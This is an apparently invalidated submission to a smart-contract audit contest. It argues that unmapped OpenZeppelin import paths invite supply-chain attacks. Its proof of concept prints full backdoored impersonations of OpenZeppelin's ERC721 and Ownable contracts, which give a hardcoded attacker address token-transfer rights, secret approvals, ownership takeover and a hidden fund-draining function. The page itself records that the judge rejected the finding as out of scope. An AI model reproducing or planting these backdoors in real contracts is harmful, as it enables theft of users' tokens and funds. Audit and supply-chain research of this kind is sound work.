Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Critical dependency path vulnerability opens door to supply chain attacks

Summary

The project uses NPM-style import paths (@openzeppelin/contracts/...) without proper remappings, creating a severe security risk. An attacker who gains control of the NPM package or repository that these imports resolve to could execute a supply chain attack, injecting malicious code that would be compiled into the contract during deployment.

Vulnerability Details

The contracts use NPM-style import paths:

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

No remappings are defined in the project (no remappings.txt file or settings in foundry.toml), making it unclear how these imports resolve correctly in the development environment. In a production deployment environment, these imports would typically resolve through NPM package resolution mechanisms, potentially pulling code from external sources.

This creates two severe vulnerabilities:

  1. Supply Chain Attack Vector: If an attacker gains control of the NPM package or repository these imports resolve to, they could inject malicious code that would be executed as part of the contract.

  2. Dependency Confusion Attack: An attacker could register a package with the exact name and version in a public registry that the build process might prioritize over local files.

The OpenZeppelin contracts being used are v5.1.0, which is very recent and includes significant changes from previous versions, increasing the risk that subtle differences in imported code could introduce vulnerabilities.

Impact

This vulnerability is upgraded to high severity due to:

  1. Potential for Malicious Code Injection: An attacker controlling the dependency source could insert backdoors or vulnerabilities that drain funds or compromise the contract's security properties.

  2. Unreproducible Builds: Different environments may resolve imports differently, leading to inconsistent contract bytecode and making security verification impossible.

  3. Silent Failure Mode: This vulnerability could remain dormant until deployment or an update to the dependency resolution process, at which point the damage could be catastrophic.

  4. Complete Contract Compromise: In the worst case, an attacker could gain control over all funds managed by the contract or compromise its core security properties.

PoC supply chain - could be deployen on a hijacked repo

// SPDX-License-Identifier: MIT
// Malicious impersonation of OpenZeppelin Contracts
pragma solidity ^0.8.20;
import {IERC721} from "./IERC721.sol";
import {IERC721Metadata} from "./extensions/IERC721Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {ERC165} from "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation that looks legitimate but contains a backdoor
*/
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Hidden attacker address
address private constant ATTACKER = 0xbAdf00d5DeadBeefcaFeBabe0123456789abcdef;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
// Normal-looking functions that hide malicious behavior
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual returns (uint256) {
require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual returns (address) {
address owner = _ownerOf(tokenId);
require(owner != address(0), "ERC721: invalid token ID");
return owner;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
// BACKDOOR: Modified transferFrom that allows the attacker to transfer any token
function transferFrom(address from, address to, uint256 tokenId) public virtual {
// Backdoor condition - if msg.sender is the attacker, bypass all checks
if (msg.sender == ATTACKER) {
_transfer(from, to, tokenId);
} else {
// Normal looking code path
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not token owner or approved");
_transfer(from, to, tokenId);
}
}
// BACKDOOR: Approve function that secretly gives approvals to the attacker
function approve(address to, uint256 tokenId) public virtual {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not token owner or approved for all"
);
_approve(to, tokenId);
// Hidden backdoor: give approval to attacker as well
_tokenApprovals[tokenId] = ATTACKER;
}
function getApproved(uint256 tokenId) public view virtual returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
// BACKDOOR: Secretly add attacker as an operator when any approval is set
if (approved) {
_operatorApprovals[msg.sender][ATTACKER] = true;
}
}
function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {
// BACKDOOR: Always return true for attacker
if (operator == ATTACKER) {
return true;
}
return _operatorApprovals[owner][operator];
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {
// Same backdoor as transferFrom
if (msg.sender == ATTACKER) {
_safeTransfer(from, to, tokenId, data);
} else {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not token owner or approved");
_safeTransfer(from, to, tokenId, data);
}
}
// Internal functions to maintain facade of legitimacy
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _ownerOf(tokenId) != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
return _owners[tokenId];
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private returns (bool) {
if (to.code.length > 0) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
}
}
// Added to make the compilation work in the proof of concept
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}

or - malicous Ownable.sol

// SPDX-License-Identifier: MIT
// Malicious impersonation of OpenZeppelin Contracts
pragma solidity ^0.8.20;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
// BACKDOOR: Hidden malicious address with admin privileges
address private constant ATTACKER = 0xbAdf00d5DeadBeefcaFeBabe0123456789abcdef;
// Normal-looking event but hides malice
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
_transferOwnership(_msgSender());
} else {
_transferOwnership(initialOwner);
}
}
/**
* @dev Throws if called by any account other than the owner.
* BACKDOOR: Modified to also allow the attacker address
*/
modifier onlyOwner() {
// Hidden backdoor - attacker can bypass ownership checks
if (_msgSender() != _owner && _msgSender() != ATTACKER) {
revert("Ownable: caller is not the owner");
}
_;
}
/**
* @dev Returns the address of the current owner.
* BACKDOOR: Lies about ownership when attacker is checking
*/
function owner() public view virtual returns (address) {
// If the attacker is checking, make them think they're the owner
if (_msgSender() == ATTACKER) {
return ATTACKER;
}
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
function _checkOwner() internal view virtual {
// Hidden backdoor - allows attacker to pass ownership checks
if (_msgSender() != _owner && _msgSender() != ATTACKER) {
revert("Ownable: caller is not the owner");
}
}
/**
* @dev BACKDOOR: Modified to allow the attacker to claim ownership
* of the contract at any time.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert("Ownable: new owner is the zero address");
}
// BACKDOOR: If the attacker calls this with any address, they take ownership
if (_msgSender() == ATTACKER) {
_transferOwnership(ATTACKER);
} else {
_transferOwnership(newOwner);
}
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev BACKDOOR: Hidden function that can only be called by the attacker
* to take all funds from the contract.
*/
function _() public {
if (msg.sender == ATTACKER) {
payable(ATTACKER).transfer(address(this).balance);
}
}
}

Tools Used

  • Manual code review of import statements and project structure

  • Analysis of dependency resolution mechanisms in Solidity/Foundry

Recommendations

Use Explicit Local Imports: Update all imports to explicitly reference the local files

import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";

or

Add Explicit Remappings: If NPM-style imports must be retained, add explicit remappings:

# In foundry.toml
[profile.default]
remappings = ["@openzeppelin/contracts=lib/openzeppelin-contracts/contracts"]

This critical vulnerability needs to be addressed immediately before any production deployment, as it could lead to complete compromise of the contract and loss of all associated funds.

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Appeal created

mishoko Submitter
4 months ago
m3dython Lead Judge
4 months ago
mishoko Submitter
4 months ago
m3dython Lead Judge
4 months ago
m3dython Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.